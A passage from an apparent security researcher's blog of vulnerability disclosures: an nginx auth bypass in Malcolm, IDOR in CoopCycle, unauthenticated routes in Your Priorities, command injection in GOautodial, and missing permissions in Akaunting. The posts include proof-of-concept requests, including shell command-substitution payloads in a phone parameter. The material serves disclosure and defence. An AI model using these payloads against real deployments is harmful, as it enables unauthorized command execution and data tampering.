Honest boundary: I confirmed the bypass and the forged, un-overwritten identity reaching the backend. I did not stand up a real Arkime instance to confirm which session/PCAP responses it serves under that prefix. That's why the score sits at Moderate 6.5 (C:L) and not higher — the foothold is proven, the depth of the data read isn't, and I'd rather under-claim than over-claim. (Before the PoC I had it at 7.5, assuming a full data read. I filed it at 6.5 because that read wasn't confirmed.)

The fix

Shipped in v26.08.0 (2026-08-25), tracked in cisagov/Malcolm#1081. The maintainer's fix does three things. It makes the rewrite case-insensitive with the inline (?i) modifier, so the matcher and the rewrite agree. It deletes the dead proxy_pass and its forwarding headers, so the location can only ever redirect and nothing reaches Arkime through it. And it adds the auth include as a backstop. The location as shipped in v26.08.0:

location ~* /iddash2ark/(.*) {
  include /etc/nginx/nginx_auth_rt.conf;
  set $forwarded_scheme $scheme;
  if ($http_x_forwarded_proto = 'https') {
      set $forwarded_scheme https;
  }
  rewrite (?i)^.*/iddash2ark/(.*) $forwarded_scheme://$host/arkime/sessions?expression=($1) redirect;
}

The same change went into /dashboards/app/extracted-files/ and into the read-only profile (nginx_readonly.conf), where the /iddash2ark/ block was byte-identical. A week later the maintainer fixed a third location of the same shape, /dashboards/app/netbox/ (#1107).

Takeaways

A case-insensitive location ~* paired with a case-sensitive rewrite is a bug, not a style choice. If a matcher and the directive meant to act on the match disagree about case, requests can enter the block and skip the action — here, skip the redirect that was the only thing standing between an anonymous caller and an unauthenticated proxy_pass.
Per-location auth is a checklist, and checklists have gaps. Here two "harmless redirect" locations also carried a proxy_pass and skipped the include. A redirect-only location shouldn't have a proxy_pass at all, and a default-deny backstop — a server-level auth_request that every location inherits — means one forgotten include isn't a total bypass.
Never honor a forwarded identity header on a path that isn't behind the auth that sets it. X-Forwarded-User is only trustworthy if something upstream guarantees it. The moment a route forwards it without overwriting it, it's attacker input — a textbook confused deputy.

Disclosure timeline

2026-08-13 — found during a source review of Malcolm's nginx config.
2026-08-17 — reproduced locally against the shipped v26.07.1 config.
2026-08-19 — reported privately via GitHub's private vulnerability reporting.
2026-08-20 — advisory GHSA-7j32-cf27-cp6h published by the maintainer, crediting me as reporter.
2026-08-25 — fix released in v26.08.0.
2026-10-08 — CVE-2026-107336 published.

This is distinct from Malcolm's earlier nginx-RBAC advisories about URI normalization and percent-encoding, which have a different root cause. This one is the case-sensitivity mismatch on the /iddash2ark/ location plus an un-overwritten forwarded identity header.

Credit / CTA

If you run nginx with per-location auth, this is a five-minute grep worth doing today: look for ~* matchers paired with case-sensitive rewrites, and for any proxy_pass location missing your auth include. Two directives that disagree about case are enough to open a door.

Reported by me. Comments and corrections welcome.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq). GitHub: @Santoshkumarpuppala

The POST was guarded, the GET on the same URL was not: cross-tenant PII disclosure in CoopCycle (GET /api/stores/{id}/addresses)

Santosh Kumar Puppala — Wed, 02 Sep 2026 11:12:29 +0000

TL;DR

What: In coopcycle-web — the open-source logistics and marketplace platform that worker-owned courier co-operatives self-host instead of renting a commercial delivery app — the operation GET /api/stores/{id}/addresses was declared with no security expression at all. Every sibling operation on the same resource family had one. So did the POST to that exact same URL. The provider behind the GET filtered on the path {id} and nothing else.
Impact: Any authenticated account — and self-registration is open — could walk {id} from 1 upward and read every store's delivery-address book: recipient contactName, streetAddress, postalCode. On a shared instance hosting many co-ops, that is a platform-wide cross-tenant leak of the home addresses of people who ordered dinner. CWE-862 + CWE-639. I score it CVSS v3.1 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. That is my score: there is no advisory and no vendor rating, and the load-bearing metric is C:H for platform-wide recipient PII.
Fixed: commit a65d9f9e, two days after I reported it, tagged as v5.6.0 five minutes later. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. No advisory was published — this was a silent fix — and a CVE has been requested and is pending.

Why you should care

CoopCycle is not a SaaS company. It is a licence and a shared codebase, available only to worker-owned businesses, and a single deployment routinely carries many stores belonging to unrelated operators — the platform models Store as a first-class tenant precisely because that is how it is used. Multi-tenancy here is not an enterprise feature bolted on for a big customer. It is the shape of the product.

And the data behind this particular endpoint is about as personal as delivery software gets. A store's address book is not company data. It is a list of customers' homes — name, contact name, street, postcode — accumulated across every delivery that store has ever made.

The endpoint that returned it required nothing but a login. Registration is open to the public.

The setup

CoopCycle is Symfony 6 with API Platform 3. In API Platform, authorization on a resource is declarative: you put a security: expression on each operation, written in Symfony's expression language, and the framework evaluates it before the operation runs. If you omit the key, there is no check beyond whatever the firewall did — and CoopCycle's api_platform.yaml sets no global default.

The project uses this well. Here is src/Entity/Store.php in v5.5.0 — every sibling sub-resource on /stores/{id}/* carrying its guard:

new Get(
    uriTemplate: '/stores/{id}/time_slots',
    security: "is_granted('ROLE_DISPATCHER') or is_granted('ROLE_COURIER') or is_granted('edit', object)"
),
new Get(
    uriTemplate: '/stores/{id}/payment_methods',
    security: "is_granted('ROLE_DISPATCHER') or is_granted('ROLE_COURIER') or is_granted('edit', object)"
),
new Post(
    uriTemplate: '/stores/{id}/addresses',       // <- the WRITE to the address book
    security: "is_granted('edit', object)",      // <- is gated
    input: Address::class,
    processor: StoreAddressProcessor::class
),

Those expressions resolve through StoreVoter, which checks $user->ownsStore($subject). The tenant boundary is real, it is enforced, and the developers clearly know where it goes. That is the negative control: this is not a single-tenant app where nobody thought about isolation.

The bug

The collection read is not declared on Store. It is declared on Address, in a second #[ApiResource] block in src/Entity/Address.php:

#[ApiResource(
    uriTemplate: '/stores/{id}/addresses',
    types: ['http://schema.org/Place'],
    operations: [new GetCollection()],          // <- no security: anything
    uriVariables: [
        'id' => new Link(fromClass: Store::class, fromProperty: 'addresses')
    ],
    normalizationContext: ['groups' => ['address']],
    provider: StoreAddressesProvider::class
)]

new GetCollection(). No expression, no argument, nothing. And the provider it delegates to takes the store id straight off the path:

private function getDropoffAddresses($storeId)
{
    $qb = $this->entityManager->getRepository(Address::class)->createQueryBuilder('a');
    $qb->join(Task::class, 't', Join::WITH, 'a.id = t.address');
    $qb->join(Delivery::class, 'd', Join::WITH, 'd.id = t.delivery AND d.store = :store');
    $qb->andWhere('t.type = :type')
       ->setParameter('store', $storeId)        // <- the path {id}, and nothing about the caller
       ->setParameter('type', 'DROPOFF');
    return $qb->getQuery()->getResult();
}

Note that this hand-rolled QueryBuilder also sidesteps any Doctrine ownership extension the project might add later — the ?type=dropoff branch would keep leaking even if someone bolted a global filter onto the ORM.

Now, why would a team this careful about security: expressions leave one operation bare? Reading the fix answered it, and the answer is more interesting than "they forgot."

The house idiom is is_granted('edit', object). On a sub-resource collection, there is no object — API Platform has no single entity to hand the voter. This is not my inference about the framework; the codebase says so itself, in a comment I'll come back to in a moment that carries a link to API Platform's own subresources documentation. So the one idiom the whole codebase leans on is precisely the one unavailable on this shape of endpoint. The sibling POST operates on a single store, so is_granted('edit', object) works there and was used. The GET returns a collection, so it doesn't, and nothing was used instead.

The endpoint that got no authorization check was the one endpoint where the project's standard authorization check was not available — the gap tracked the framework's limitation, not the developers' attention.

That is the shape worth remembering, because it generalises far past PHP. Wherever a framework's ergonomic guard covers 95% of your routes, the missing 5% is not randomly distributed. It is exactly the awkward shape — the sub-resource, the custom action, the bulk endpoint, the streaming response — and that is where you should look first.

Proof of concept

I confirmed this end to end on a local bring-up of the v5.5.0 tag: the repo's own docker/php image, PostGIS 16, Redis, nginx, schema created with the project's own console commands and seeded with the project's own Alice fixture loader. Three synthetic accounts, all fictional data.

Store A (id=1), owned by poc_storeA_owner. One address book entry, seeded with a marker: contactName = "Synthetic Recipient A - IDOR-POC-MARKER-2026", streetAddress = "42 Rue Secret Store A Only".
Store B (id=2), owned by poc_storeB_owner. A different, non-overlapping entry.
poc_plain_customer — ROLE_USER only, no store, no dispatcher or courier role. The self-registered-customer equivalent.

[LEAK]     GET  /api/stores/1/addresses      (token = Store B's owner)   -> 200
           "contactName":"Synthetic Recipient A - IDOR-POC-MARKER-2026",
           "streetAddress":"42 Rue Secret Store A Only"          <- Store A's book

[LEAK]     GET  /api/stores/1/addresses      (token = plain customer)    -> 200
           identical body                                        <- confirms PR:L

[CONTROL]  GET  /api/stores/1/addresses      (token = Store A's owner)   -> 200
           same single record            <- the leaked row is genuinely A's data

[CONTROL]  GET  /api/stores/1/time_slots     (token = Store B's owner)   -> 403
[CONTROL]  POST /api/stores/1/addresses      (token = Store B's owner)   -> 403

The two 403s are the whole argument. The same token, against the same store, on sibling operations — including a write to the very URL that just leaked on read — is correctly denied. That kills the "couriers and dispatchers legitimately need this data" objection before anyone raises it: the operation was not open to couriers and dispatchers, it was open to everybody with a password, and the project's own adjacent code says what the intended audience was.

Everything above ran against a container on 127.0.0.1. Nothing was ever sent to a live co-op.

The fix

Commit a65d9f9e, "Fix store addresses security", landed 2026-07-21, two days after my email, and v5.6.0 was tagged five minutes later. Three files changed. The operation declaration:

// before
operations: [new GetCollection()],

// after
operations: [
    new GetCollection(security: "is_granted('view', request)")
],

Not is_granted('view', object) — request. That works because StoreVoter already carried an escape hatch for exactly this problem, with a comment naming the framework issue and linking API Platform's docs:

// Needed for /api/stores/{id}/deliveries endpoint
// https://api-platform.com/docs/v4.0/core/subresources/#security
if (!$subject instanceof Store && !$subject instanceof Request) {
    return false;
}
// ...
if ($subject instanceof Request) {
    $subject = $this->entityManager->getRepository(Store::class)->find($subject->get('id'));
}

The workaround for the sub-resource limitation was already in the codebase, already used by /stores/{id}/deliveries. This endpoint just never got it. The commit also adds a firewall entry so the token resolves on this path, and — the part I'd frame and hang on a wall — it fixes the test suite:

# BEFORE — bob owns store "Acme" (id 1), and this scenario asserted 200 on store 2
When the user "bob" sends a "GET" request to "/api/stores/2/addresses?type=dropoff"
Then the response status code should be 200

# AFTER — bob reads his own store, and two new scenarios pin the denial
When the user "bob" sends a "GET" request to "/api/stores/1/addresses?type=dropoff"
Then the response status code should be 200

Scenario: Not authorized to list another store's addresses with JWT
  When the user "bob" sends a "GET" request to "/api/stores/2/addresses"
  Then the response status code should be 403

A green Behat suite had been asserting the cross-tenant read as correct behaviour.

Honesty note on evidence class: I verified the fix from the public repository — the commit contents, and git tag --contains putting it in v5.6.0 onward. I did not rebuild a patched image and re-run the PoC against it, so this is "confirmed from the commit and the release" rather than a re-tested NOT_REPRODUCED verdict. The weaker of the two, and worth labelling as such.

Takeaways

Diff the guarded operations against the exposed ones, and start with the odd one out. In a declarative-authorization codebase, the audit is nearly mechanical: list every operation, list every security: expression, subtract. On CoopCycle that diff was one line long. The same query works on DRF permission_classes, on Spring @PreAuthorize, on NestJS guards — anywhere the check is an annotation, because an annotation can be absent and absence renders as nothing at all.

Read/write asymmetry on the same URL is the highest-signal tell in authorization auditing. POST /stores/{id}/addresses gated, GET /stores/{id}/addresses bare. When one verb on a path is protected and another is not, you do not have to argue about intent — the developers already told you what the boundary is, and one operation is on the wrong side of it. Whenever you find one, check the other verbs on the same path before you check anything else.

A test that asserts the vulnerable behaviour is worse than no test. The scenario here did not merely fail to catch the leak; it locked it in. Anyone who had added the guard would have broken a passing test and, quite reasonably, assumed they'd got it wrong. If your suite has a scenario where one tenant successfully reads another tenant's data, check today whether that is a fixture convenience or a specification — and write the 403 case, because the 200 case will never fail for the right reason.

Disclosure timeline

Date	Event
2026-07-16	Found during a source review of the `/stores/{id}/*` operation family — spotted as a read/write asymmetry on one URL
2026-07-18	Live PoC confirmed on the `v5.5.0` tag: cross-tenant read from two different accounts, plus 403 controls on the gated siblings
2026-07-19	Reported privately by email to the maintainer, under coordinated disclosure
2026-07-21	Fix commit `a65d9f9e` lands — two days later — and v5.6.0 is tagged five minutes after it
—	No security advisory published; a CVE has been requested and is pending

Two days from a cold email to a tagged release, with regression tests written into the same commit. Silent fixes get criticised — and the absence of an advisory does mean self-hosting co-ops had no signal to upgrade — but the engineering response here was faster and more complete than plenty of funded vendors manage.

If you run CoopCycle: you want v5.6.0 or later. Current at time of writing is v5.8.9.

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala, under coordinated disclosure. No CVE has been assigned yet; one has been requested.

If you maintain an API Platform, DRF or Spring codebase, here is a ten-minute job: grep for every route declaration, grep for every authorization annotation, and diff the two lists. Then look at whichever endpoints your framework makes awkward to guard — the sub-resources, the collections, the custom actions. That is where the missing line will be, and it will not be a line you can see, because it isn't there.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

The TODO shipped to npm: an unauthenticated route that could stop any city's AI workflow (Your Priorities, @yrpri/api < 9.0.244)

Santosh Kumar Puppala — Wed, 02 Sep 2026 10:40:59 +0000

TL;DR

What: In Your Priorities — the Citizens Foundation's open-source participatory-democracy platform, the one municipalities self-host to run citizen deliberation — two Express routes in the AI-assistant controller were registered with no authorization middleware at all, directly beneath a comment reading //TODO: Add auth for below. The handler for PUT /api/assistants/:groupId/:agentId/:runId/advanceOrStopWorkflow resolved the target run by bare primary key and never compared it to a caller.
Impact: With no session cookie and no token, an anonymous HTTP client could advance or force-fail any group's AI-agent workflow run. runId is a sequential integer, so the whole population is enumerable. CWE-862. I score it CVSS v3.1 6.5 (Medium) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L. That is my score: no advisory was published, so no vendor rating exists.
Fixed: commit ae4b4704, shipped as @yrpri/api 9.0.244 — the same day I reported it. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. The maintainer credited me by name in the commit subject and in the release note. No CVE yet; one has been requested.

Why you should care

Your Priorities is not a startup's side project. It is the deliberation engine behind Better Reykjavík and a long line of municipal and national participation programmes — the software a city stands up when it wants residents to file, debate and prioritise ideas, and then wants the results to carry political weight. Its newer AI-assistant layer runs agent workflows on behalf of groups: multi-step runs that process submissions, summarise, and advance through a state machine.

So the asset here is not a row in a database. It is the integrity of a process a public body is going to act on, and the availability of the machinery that produces it.

An anonymous client could reach into that state machine and turn the crank.

The setup

The backend is Node/TypeScript on Express, published to npm as @yrpri/api. Authorization is not ambient — it is per-route middleware, auth.can("..."), applied at registration time in each controller.

The global middleware stack tells you immediately that there is no safety net. In app.ts (around L952) the app mounts:

app.use(passport.initialize());
app.use(passport.session());

Both of those are populate-only. They hydrate req.user when a valid session exists and do nothing at all when one doesn't. Neither rejects an anonymous request. Whether a route is protected is decided entirely by what that route asks for, and the assistants router is mounted at app.ts:714 with no gate on the path.

Which is fine, because the controller mostly does ask. Sibling routes in the very same file:

// assistantsController.ts — the house idiom, used correctly
this.router.put("/:domainId/chat", auth.can("view domain"), this.chat.bind(this));

and the read paths for the same agent feature check by hand:

// getUpdatedWorkflow / getAgentConfigurationAnswers
if (!req.user) {
  res.sendStatus(401);
  return;
}

That is the negative control. This is not a codebase that forgot authorization exists. The pattern is present, it is enforced, and the reads on this exact feature are gated.

The bug

Now the block that isn't. Around line 105 of assistantsController.ts:

// assistantsController.ts ~L105
// TODO: Add auth for below

// ... and then, at L143-144:
this.router.put("/:groupId/:agentId/:runId/advanceOrStopWorkflow",
  this.advanceOrStopWorkflow.bind(this));

No auth.can(...). No if (!req.user). The handler runs for anyone who can reach the port:

// assistantsController.ts:231-251
async advanceOrStopWorkflow(req: Request, res: Response) {
  const { runId, status } = { ...req.params, ...req.body };
  const wsClientId = req.params.wsClientId;
  await notificationManager.advanceWorkflowStepOrCompleteAgentRun(
    parseInt(runId), status, wsClientId
  );
  res.json({ success: true });
}

And the manager it delegates to — notificationAgentQueueManager.ts:211-300 — contains the detail I find genuinely striking:

const agentRun = await YpAgentProductRun.findByPk(agentRunId, {
  include: [{
    model: YpAgentProductBundle,
    include: [{ model: YpSubscription, attributes: ["user_id"] }]
  }]
});

// agentRun.YpAgentProductBundle.YpSubscription.user_id — fetched, never compared

if (status === "failed") {
  await agentRun.update({ status: "failed", completedAt: new Date() });
} else {
  workflow.currentStepIndex += 1;
  await agentRun.save();
}

Read that include again. The query deliberately joins two levels down — bundle, then subscription — and pulls exactly one column: user_id. The owner of the run. It is loaded into memory, sitting on the object, and then the function mutates the run without ever looking at it.

The identity needed to make the decision was already in the result set. The line that compares it was the line that was never written — and a comment in the file says so out loud.

That is what makes this one worth writing up rather than filing as another missing-middleware bug. There was no architectural gap to close. No refactor, no new query, no plumbing a user through three layers. The ownership data had already been fetched by someone who clearly intended to check it.

The same //TODO block also covered a sibling: PUT /api/assistants/:groupId/:agentId/startWorkflowAgent, which enqueued a BullMQ agent-processing job for any supplied agentId, unauthenticated. That one is an LLM-execution cost sink — anonymous callers making someone else's inference bill go up. I reported both together; one commit closed both.

Proof of concept

Confirmed end to end on 2026-06-17 against the published @yrpri/api v9.0.242 build, running on Node 22 with containerised PostgreSQL 13 and Redis 6.2 bound to 127.0.0.1. Synthetic rows only. Nothing was ever sent to a live deployment.

Every request below carries no Authorization header and no session cookie.

[MUTATE]   PUT /api/assistants/1/1/1/advanceOrStopWorkflow   {"status":"failed"}    -> 200
           run 1 in DB:  running   ->   failed

[MUTATE]   PUT /api/assistants/1/1/3/advanceOrStopWorkflow   {"status":"advance"}   -> 200
           run 3 workflow.currentStepIndex:  0   ->   1

[CONTROL]  PUT /api/assistants/1/chat            (auth.can("view domain"))          -> 401

The 401 is the entire argument. Same app, same process, same controller file, same anonymous client — and the guarded sibling correctly refuses. The auth middleware is present, loaded and working. These routes simply never asked it anything.

The two mutations were verified in Postgres, not inferred from the response body: a run belonging to a seeded subscription flipped to failed, and a second run's state machine stepped forward, both at the request of a caller with no identity whatsoever.

The fix

I emailed the maintainer on 2026-07-10 at 16:48. He replied at 17:36 — forty-eight minutes later — confirming the issue and linking the commit that fixed it.

Commit ae4b4704 closes both routes:

advanceOrStopWorkflow gains an explicit ownership predicate — the run is resolved within the caller's authorized scope instead of by bare primary key, so the user_id that was already being fetched is finally the thing the decision turns on.
startWorkflowAgent, the sibling in the same //TODO block, was removed outright rather than guarded.

It shipped as @yrpri/api 9.0.244 the same day. The release note reads, in full:

Fix for security related issues in agent workflows reported by Santosh Kumar Puppala.

Honesty note on evidence class: I verified the fix from the maintainer's reply, the fix commit and the published npm artifact — reported→confirmed→released, all on 2026-07-10. I did not rebuild a patched image and re-run the PoC against 9.0.244, so this is "confirmed from the commit and the release," not a re-tested NOT_REPRODUCED verdict. The weaker of the two, and worth labelling as such. I am also describing the shape of the patch rather than quoting a diff line by line.

One thing this was not is a silent fix. The commit subject names me and links my GitHub profile; the release note names me. The only thing missing is a GHSA — which is why self-hosters got no upgrade signal, and why the CVE is still being chased through MITRE's CNA of last resort.

Takeaways

Grep your own TODOs as an attack surface, not a backlog. TODO: Add auth, FIXME: check perms, XXX: temporary — these are not notes to the team. In a shipped artifact they are a signed confession, indexed and searchable, telling anyone who clones the repo exactly which line to look at first. This one had been published to npm. If you run one grep after reading this, make it grep -rn "TODO.*auth\|FIXME.*perm" src/.

A guarded read next to an unguarded write is the highest-signal pattern in authorization auditing. Here getUpdatedWorkflow returned 401 to anonymous callers while advanceOrStopWorkflow — on the same feature, in the same file — returned 200 and changed the database. When the reads are protected and the mutations are not, you never have to argue about intent: the developers already documented where the boundary goes, and the state-changing path is on the wrong side of it.

Watch for ownership data that is fetched and then ignored. That nested include pulling Subscription.user_id is a fingerprint. Somebody wrote a join whose only purpose is authorization and then didn't finish the thought. When you are reading unfamiliar code, a query that retrieves an owner id which never appears again on any code path is worth more of your attention than a hundred routes with no ownership concept at all — because it tells you the boundary was supposed to be there.

Disclosure timeline

Date	Event
2026-06-15	Found during a source review of the assistants controller — spotted as a read/write authorization asymmetry inside a `//TODO` block
2026-06-17	Live PoC confirmed on `@yrpri/api` v9.0.242: unauthenticated force-fail and unauthenticated workflow advance, with a 401 control on the guarded sibling
2026-07-10 16:48	Reported privately by email to the maintainer, under coordinated disclosure (the repo had private vulnerability reporting disabled and no `SECURITY.md`)
2026-07-10 17:36	Maintainer replies — 48 minutes — confirming the issue and linking the fix commit `ae4b4704`
2026-07-10	`@yrpri/api` 9.0.244 published, crediting the report by name in the release note
—	No security advisory published; a CVE has been requested and is pending

If you run Your Priorities: you want @yrpri/api 9.0.244 or later. Because there is no GHSA, no dependency scanner is going to tell you that.

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala, under coordinated disclosure. No CVE has been assigned yet; one has been requested. Thanks to the Citizens Foundation maintainer for a same-day fix and for crediting the report publicly — that is not the norm, and it should be.

If you maintain a Node service, here is a ten-minute job. List every router.<verb>(...) call in your codebase. List every one that names a middleware. Diff the two. Then, for whatever is left, ask one more question of each handler: does it load an owner id it never compares? Both of those greps are shorter than you think, and both of them find real bugs.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

A SQL escape is not a shell escape: OS command injection in GOautodial goAPIv2

Santosh Kumar Puppala — Wed, 02 Sep 2026 10:15:38 +0000

TL;DR

What: In GOautodial's goAPIv2 agent API, the goPhone request parameter is escaped for SQL (mysqli_real_escape_string) and then concatenated into an exec() command string. Shell metacharacters survive the SQL escape, so a $(...) payload runs on the host.
Impact: Any authenticated low-privilege agent — a role with no legitimate shell access — gets arbitrary OS command execution on the server running the API. CWE-78, CVSS 3.1 8.8 (High).
Fixed in: the installer-shipped goAPIv2 master branch (commit 0ab2584). Reported by me, Santosh Kumar Puppala — CVE requested/pending.

Why you should care

GOautodial is a widely deployed open-source call-center / predictive-dialer platform built on Asterisk. Its goAPIv2 component is the REST API that agent softphones talk to — it ships to /var/www/html via the installer and is reachable by anyone with an agent login.

Agents are the low rung of the trust ladder. They log in, take calls, and hang up. They are absolutely not supposed to be able to run shell commands on the dialer host. This bug hands exactly that capability to any agent account, and on a real deployment the injected command runs through a sudo wrapper — so the practical blast radius is worse than the already-High score implies.

The reason this class of bug keeps shipping is that it hides behind a function whose name sounds like sanitization. It escapes something. It just escapes it for the wrong language.

The setup

The endpoint is the agent "log out" action:

GET /goAgent/goAPI.php?goAction=goLogoutUser&goPhone=8300&goSIPServer=asterisk&goUseWebRTC=0

Reaching it needs only an ordinary active agent (vicidial_users.user_level = 1, active = 'Y', vdc_agent_api_access = 1). goLogoutUser is on the API's no-campaign-required allowlist, so it's available to essentially every agent. As part of logging an agent out, the code checks the SIP registration for the agent's phone/extension — and that check is where goPhone ends up.

The bug

Here is the whole chain, four short hops from request parameter to shell.

1. The value is escaped — for SQL.

// goAgent/goAPI.php
$phone_login = $astDB->escape($_GET['goPhone']);

// goAgent/includes/MySQLiDB.php:931
return $this->_mysqli->real_escape_string($str);

mysqli_real_escape_string exists to neutralize SQL quoting — quotes, backslashes, NUL. It does nothing to shell metacharacters. Backtick, $, (, ), |, &, ; all pass through untouched. As a shell defense, this call is decorative.

2. The SQL-escaped value flows into a SIP check.

// goAgent/goLogoutUser.php:54
check_sip_login($kamDB, $phone_login, $SIPserver, $use_webrtc);

check_sip_login() is a SIP-registration lookup, not an operator command runner. Nobody reading this call site expects it to be a command sink — which is precisely why the missing validation went unnoticed.

3. It's concatenated into an exec() string.

// goFunctions.php:460
exec('/usr/share/goautodial/goautodialc.pl "sudo /usr/sbin/asterisk -rx \"sip show peer '.$exten.'\""', $output);

$exten is the request's goPhone. PHP's exec() runs its argument through /bin/sh -c, so any command substitution inside $exten is expanded by the shell, at the PHP layer, before the Perl helper is ever invoked.

The "aha":

The value had been escaped — the developer just escaped it for the wrong language. A SQL escape stops a SQL injection; it does not stop a shell from reading $(...).

Proof of concept

I reproduced this live end-to-end against the unmodified goAPIv2 source (HEAD 640a31f) in a local PHP 8.2 + Apache + MariaDB stack, authenticated as a low-privilege agent. Everything here is a benign marker — no destructive payload, just proof that the shell ran my command.

Control — a benign extension behaves normally:

?...&goAction=goLogoutUser&goPhone=8300&goSIPServer=asterisk&goUseWebRTC=0
→ wrapper called with: sip show peer 8300
→ /tmp/goauto_pwn : absent   (correct — nothing extra ran)

Injection — a command substitution in goPhone:

goPhone=8300$(touch /tmp/goauto_pwn)
→ /tmp/goauto_pwn : -rw-r--r-- 1 www-data www-data 0 ... /tmp/goauto_pwn   (created)

goPhone=8300$(id>/tmp/goauto_out)
→ /tmp/goauto_out : uid=33(www-data) gid=33(www-data) groups=33(www-data)

The injected commands ran as www-data, the Apache/PHP user. The wrapper's own call log still showed only sip show peer 8300, which confirms the substitution expanded at PHP's exec()//bin/sh -c layer — independent of anything the Perl helper does. On a production host that helper runs under sudo, so effective privilege climbs from there.

The fix

Never build a shell string from request-derived input. Pass the extension as a separate, validated argument, and constrain it to the format it's actually allowed to be:

// escape for the shell, not for SQL — and validate the format first
if (!preg_match('/^\d{1,10}$/', $exten)) { /* reject */ }
$cmd = '/usr/share/goautodial/goautodialc.pl ' . escapeshellarg(
    'sudo /usr/sbin/asterisk -rx "sip show peer ' . $exten . '"'
);
exec($cmd, $output);

Better still, use an exec form that takes an argv array so no shell is involved at all. The upstream fix landed on the installer-shipped goAPIv2 master branch (commit 0ab2584).

Takeaways

"Escaped" is not a property of a string — it's a property of a string for a specific sink. A value that's safe for a SQL driver is not thereby safe for a shell, an HTML page, a Runtime.exec, or an LDAP filter. Track which escape a value carries, and re-escape at every new sink.
Audit by data flow, not by function name. check_sip_login() sounds harmless. The vulnerability was three hops downstream in a helper nobody associates with user input. Grep for exec/shell_exec/system/passthru and walk backwards to the request.
Low-privilege reachability is what turns a code smell into an 8.8. The same sink behind an admin-only screen is a minor hardening note. Behind an ordinary agent login, it's remote code execution for your least-trusted authenticated role.

Disclosure timeline

2026-07-01 — Found during a source audit of goautodial/goAPIv2; source→sink traced.
2026-07-06 — Reproduced live end-to-end in a local Docker stack (benign markers), verdict CONFIRMED.
Reported to the maintainers via coordinated disclosure; credit agreed.
Fixed on the installer-shipped goAPIv2 master branch (commit 0ab2584). CVE requested/pending.

Credit

Reported and written by Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala.

If you run GOautodial, update to a build that includes commit 0ab2584 and audit your other exec() call sites for request-derived arguments while you're in there. Found this useful? Follow along — I publish one of these walkthroughs every few days.

It only guarded the verbs it recognized: a read-only role could cancel invoices in Akaunting

Santosh Kumar Puppala — Sun, 16 Aug 2026 20:34:41 +0000

TL;DR

What: In Akaunting — the open-source accounting app small businesses self-host to run invoices, bills and payments — the per-controller permission middleware only recognized the standard CRUD action names. The document mark* actions (markSent, markCancelled, markReceived) matched none of them, so they ran with no permission check. A user holding only a read role on invoices/bills — the built-in accountant role — could cancel documents and delete the linked payment records.
Impact: A read-only accountant sends one GET and the invoice is cancelled and its recorded payment transaction is deleted — corrupting the books — while the same account is correctly refused (403) on the normal update. CWE-862. I score it CVSS v3.1 7.1 (High) (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L) — that is my scoring; there is no advisory and no vendor rating, and a scorer who treats markSent/markReceived as non-destructive state-change lands around 5–6.
Fixed: in 3.2.0 — commit 80ef6d3b, "Added missing permissions and security fixed.." — which adds the mark* verbs to the update- permission. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. No reply, no advisory; a CVE has been requested and is pending.

Why you should care

Akaunting runs the actual books for a lot of small businesses — invoices out, bills in, payments recorded against them. It is role-based by design: you hand your bookkeeper or an external accountant an account and you trust the role to bound what they can touch. The built-in accountant role is seeded read-only on invoices and bills. Read the numbers; don't change them.

The entire value of that role is the boundary. This bug is the boundary quietly not existing on three endpoints.

And the endpoints aren't harmless toggles. Cancelling an invoice doesn't just flip a status — it deletes the payment transactions recorded against it. So the least-privileged finance role in the product could reach in and destroy financial records it was never allowed to edit.

The setup

Akaunting wires up authorization centrally. Every controller inherits from a base Controller whose constructor calls assignPermissionsToController, which maps action names to permission: middleware (app/Traits/Permissions.php:496):

$this->middleware('permission:create-'.$controller)->only('create','store','duplicate','import');
$this->middleware('permission:read-'.$controller)->only('index','show','edit','export');
$this->middleware('permission:update-'.$controller)->only('update','enable','disable');
$this->middleware('permission:delete-'.$controller)->only('destroy');

It's a tidy design. Name your controller method store and it's gated behind create-<controller>; name it destroy and it needs delete-<controller>. The accountant role is granted r on sales-invoices and purchases-bills in database/seeds/Permissions.php and nothing more — so index/show/edit pass, update/destroy don't.

You've probably already spotted the shape of the problem. This is an allowlist keyed on method name. It protects exactly the handful of names in those four only() lists. Anything else a controller exposes is, by construction, ungated.

The bug

Invoices have more actions than CRUD. You can mark an invoice sent, cancelled, or received — real state changes with real side effects. Those methods are named markSent, markCancelled, markReceived. Look back at the four lists: none of those names appears in any of them.

Sales\Invoices and Purchases\Bills add no constructor override, and the admin route group only enforces permission:read-admin-panel. So the mark* methods run with no permission check beyond "can this user see the admin area at all" — which the read-only accountant can. One controller over, Sales\RecurringInvoices gates its own state-change verbs in its constructor with permission:update-sales-invoices — so the project already decided a document mutation should require update-. The mark* actions are simply where it didn't.

The routes are plain GETs (routes/admin.php):

GET  {company}/sales/invoices/{invoice}/cancelled  ->  Sales\Invoices@markCancelled
GET  {company}/sales/invoices/{invoice}/sent       ->  Sales\Invoices@markSent
GET  {company}/purchases/bills/{bill}/cancelled     ->  Purchases\Bills@markCancelled

And markCancelled is not a soft toggle. It dispatches Jobs\Document\CancelDocument:

\DB::transaction(function () {
    $this->deleteRelationships($this->model, ['transactions', 'recurring']); // deletes recorded payments
    $this->model->status = 'cancelled';
    $this->model->save();
});

deleteRelationships($model, ['transactions', ...]) deletes the payment transactions linked to the document. A read-only role reaches that.

The permission layer protected the verbs it had names for and waved through every verb it didn't — so an action that deletes payment records inherited the access level of a read-only role, purely because of what it was called.

That framing is what separates this from a design decision. If Akaunting nowhere required update- to change a document, a maintainer could argue "the accountant role is trusted." But the sibling RecurringInvoices controller demands exactly that permission for the same kind of verb. The rule the project wants exists and is enforced elsewhere; it just isn't on this path.

